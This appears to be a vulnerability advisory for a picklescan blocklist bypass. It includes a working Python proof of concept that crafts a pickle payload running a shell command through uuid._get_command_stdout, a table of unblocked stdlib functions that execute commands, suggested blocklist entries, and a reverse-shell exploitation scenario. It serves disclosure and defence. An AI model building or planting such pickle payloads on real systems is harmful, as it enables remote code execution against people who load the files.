GHSA-g38g-8gr9-h9xp: picklescan: Allowlist Bypass evades input filtering

GHSA-g38g-8gr9-h9xp CRITICAL
Published March 3, 2026
CISO Take

picklescan v1.0.3 and earlier are fundamentally broken as a security control — a CVSS 9.8 RCE bypass exists using standard Python stdlib modules that the scanner reports as CLEAN. If your ML pipelines or model registries rely on picklescan for pickle safety validation, you have zero effective protection right now. Upgrade to picklescan 1.0.4 immediately and treat all pickle files loaded since picklescan adoption as potentially compromised.

Risk Assessment

CRITICAL. CVSS 9.8 with no authentication, no user interaction beyond the normal model-loading workflow, and a working PoC that any developer can reproduce in minutes. The blast radius is exceptionally wide: HuggingFace Hub uses picklescan server-side, meaning any model file hosted there could be weaponized and served to downstream users with a false CLEAN badge. The blocklist architecture has been broken since v0.0.21 — this is not a regression, it is a design flaw that persisted across all releases. Organizations trusting picklescan scan results in CI/CD gates have had a false sense of security for the entire tool's lifetime.

Affected Systems

Package Ecosystem Vulnerable Range Patched
picklescan pip < 1.0.4 1.0.4
402 3 dependents Pushed 2mo ago 95% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

Recommended Action

8 steps
  1. PATCH

    Upgrade picklescan to v1.0.4 immediately — this is the patched release.

  2. AUDIT

    Review all pickle files scanned by picklescan <=1.0.3 in the last 90 days as potentially unverified.

  3. BLOCK

    If immediate upgrade is not possible, add the following to your picklescan config blocklist: uuid, _osx_support, _aix_support, _pyrepl, imaplib, test, test.support.

  4. REPLACE

    Adopt safetensors format for model storage — it is designed to be safe by construction and does not allow arbitrary code execution.

  5. DEFENSE-IN-DEPTH: Add secondary scanning with fickling (Trail of Bits) which uses a different detection approach.

  6. SANDBOX

    Load untrusted models in an isolated container/VM with no network access and minimal privileges; treat model loading as code execution.

  7. DETECT

    Alert on pickle loads from externally sourced files in production.

  8. ARCHITECTURE

    Migrate to allowlist-based pickle validation — blocklist approaches are fundamentally unauditable given Python's stdlib size.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
8.3 - AI risk assessment 8.4 - AI system supply chain A.6.2.4 - Risk treatment A.8.4 - AI system testing
NIST AI RMF
GOVERN 6.1 - AI Supply Chain Risk Management MANAGE 2.2 - Risk Treatment and Incident Response
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities LLM05 - Supply Chain Vulnerabilities

Related AI Incidents (1)

Source: AI Incident Database (AIID)

Frequently Asked Questions

What is GHSA-g38g-8gr9-h9xp?

picklescan v1.0.3 and earlier are fundamentally broken as a security control — a CVSS 9.8 RCE bypass exists using standard Python stdlib modules that the scanner reports as CLEAN. If your ML pipelines or model registries rely on picklescan for pickle safety validation, you have zero effective protection right now. Upgrade to picklescan 1.0.4 immediately and treat all pickle files loaded since picklescan adoption as potentially compromised.

Is GHSA-g38g-8gr9-h9xp actively exploited?

No confirmed active exploitation of GHSA-g38g-8gr9-h9xp has been reported, but organizations should still patch proactively.

How to fix GHSA-g38g-8gr9-h9xp?

1. PATCH: Upgrade picklescan to v1.0.4 immediately — this is the patched release. 2. AUDIT: Review all pickle files scanned by picklescan <=1.0.3 in the last 90 days as potentially unverified. 3. BLOCK: If immediate upgrade is not possible, add the following to your picklescan config blocklist: uuid, _osx_support, _aix_support, _pyrepl, imaplib, test, test.support. 4. REPLACE: Adopt safetensors format for model storage — it is designed to be safe by construction and does not allow arbitrary code execution. 5. DEFENSE-IN-DEPTH: Add secondary scanning with fickling (Trail of Bits) which uses a different detection approach. 6. SANDBOX: Load untrusted models in an isolated container/VM with no network access and minimal privileges; treat model loading as code execution. 7. DETECT: Alert on pickle loads from externally sourced files in production. 8. ARCHITECTURE: Migrate to allowlist-based pickle validation — blocklist approaches are fundamentally unauditable given Python's stdlib size.

What systems are affected by GHSA-g38g-8gr9-h9xp?

This vulnerability affects the following AI/ML architecture patterns: model registries, training pipelines, model serving, MLOps/CI-CD pipelines, agent frameworks, Jupyter notebook environments.

What is the CVSS score for GHSA-g38g-8gr9-h9xp?

GHSA-g38g-8gr9-h9xp has a CVSS v3.1 base score of 9.8 (CRITICAL).

Technical Details

NVD Description

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

Exploitation Scenario

Adversary creates a HuggingFace account and uploads a 'fine-tuned LLaMA 3.1' model as a malicious .pkl file using uuid._get_command_stdout to establish a reverse shell. HuggingFace Hub runs picklescan on upload — scanner reports 0 issues, model receives the CLEAN badge and is publicly listed. A data scientist at a target organization discovers the model via search, clones it with git lfs, and loads it with torch.load() in a Jupyter notebook running inside the corporate network. At load time, the pickle payload executes: it calls bash -c to download and execute a stager, establishing persistence on the ML workstation. From there, the adversary laterates to the model registry, training cluster, and data stores. The entire kill chain from upload to execution requires no exploit sophistication — only knowledge of Python's pickle protocol.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
March 3, 2026
Last Modified
March 3, 2026
First Seen
March 24, 2026

Related Vulnerabilities